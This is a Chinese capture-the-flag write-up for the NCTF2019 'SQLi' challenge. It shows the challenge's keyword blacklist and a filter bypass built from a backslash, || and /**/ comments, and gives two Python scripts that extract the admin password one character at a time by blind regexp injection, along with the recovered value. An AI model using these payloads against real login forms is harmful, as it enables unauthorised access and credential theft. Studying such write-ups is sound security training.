[NCTF2019]SQLi regexp 盲注

/robots.txt

访问一下

复制代码
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

这里实现了过滤

说需要admin的密码

这里我们可以发现没有过滤 \ 所以username 我们可以通过 \ 来绕过

所以我们通过passwd注入

or 使用 || 代替

然后空格使用 /**/代替

我们尝试登入

发现进行302跳转 但是没办法

所以还是要通过 查询admin passwd 进入

所以我们开始

写注入的代码 这里很多都被过滤了

但是放出了 ^和 regexp

正则

我们可以通过正则来读取

和下面的例子一样

复制代码
select (select 'b') > (select 'abc')  这个时候会返回0


select name regexp "^a"     这里的name是admin   //我自己的数据库

返回的是1

所以我们可以通过 布尔注入实现这道题的读取

复制代码
import time
from urllib import parse

import requests
import string

baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"

paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'

def add(flag):
    res=''
    res += flag
    return  res
flag=''
ascii_chars = string.ascii_letters + string.digits + string.punctuation
print(ascii_chars)
for i in range(20):
    for j in ascii_chars:
        data = add(flag+j)
        paylaod1 = paylaod.format(data,parse.unquote('%00'))
        print(paylaod1)
        data={'username':'\\',
              'passwd':paylaod1}
        re=requests.post(url=baseurl,data=data)
        if re.status_code == 429:
            time.sleep(0.5)
        if "welcome.php" in re.text:
            flag += j
            print(flag)
            break

这里很坑 上面的 字符*的时候会循环输出

you*u*u*u

不知道是环境问题还是什么

所以我们现在替换

复制代码
import time
from urllib import parse

import requests
import string

baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"

paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'

def add(flag):
    res=''
    res += flag
    return  res
flag=''
ascii_chars = string.ascii_letters+string.digits+"_"
for i in range(20):
    for j in ascii_chars:
        data = add(flag+j)
        paylaod1 = paylaod.format(data,parse.unquote('%00'))
        data={'username':'\\',
              'passwd':paylaod1}
        re=requests.post(url=baseurl,data=data)
        if re.status_code == 429:
            time.sleep(0.5)
        if "welcome.php" in re.text:
            flag += j
            print(flag)
            break

这个就可以爆出值了

复制代码
you_will_never_know7788990
相关推荐
zhojiew1 小时前
通过Toxiproxy从原理到实践理解混沌工程
开发语言·php
Ether IC Verifier12 小时前
SystemVerilog 数据类型详解
php·systemverilog·uvm·ic验证
弥树子12 小时前
踩坑记录:服务器内网调用接口,真实请求URL与官方公开URL不一致问题排查
开发语言·php
AugustRed14 小时前
Linux 运维常用命令大全(超全速查表)
运维·网络·php
剑神一笑20 小时前
Linux lsof 命令深度解析:从文件描述符到进程追踪
linux·运维·php
BingoGo21 小时前
免费可商用 PHP 管理后台 CatchAdmin V5.3.1 发布 后台打包直降 5s 内
后端·php
JaguarJack21 小时前
免费可商用 PHP 管理后台 CatchAdmin V5.3.1 发布 后台打包直降 5s 内
后端·php·laravel
ELI_He9991 天前
Laravel Sail
php·laravel
傻啦嘿哟1 天前
解决DNS污染:防止OpenClaw解析API域名到虚假地址
开发语言·php
dualven_in_csdn1 天前
cmd切换到powershell (一)
服务器·开发语言·php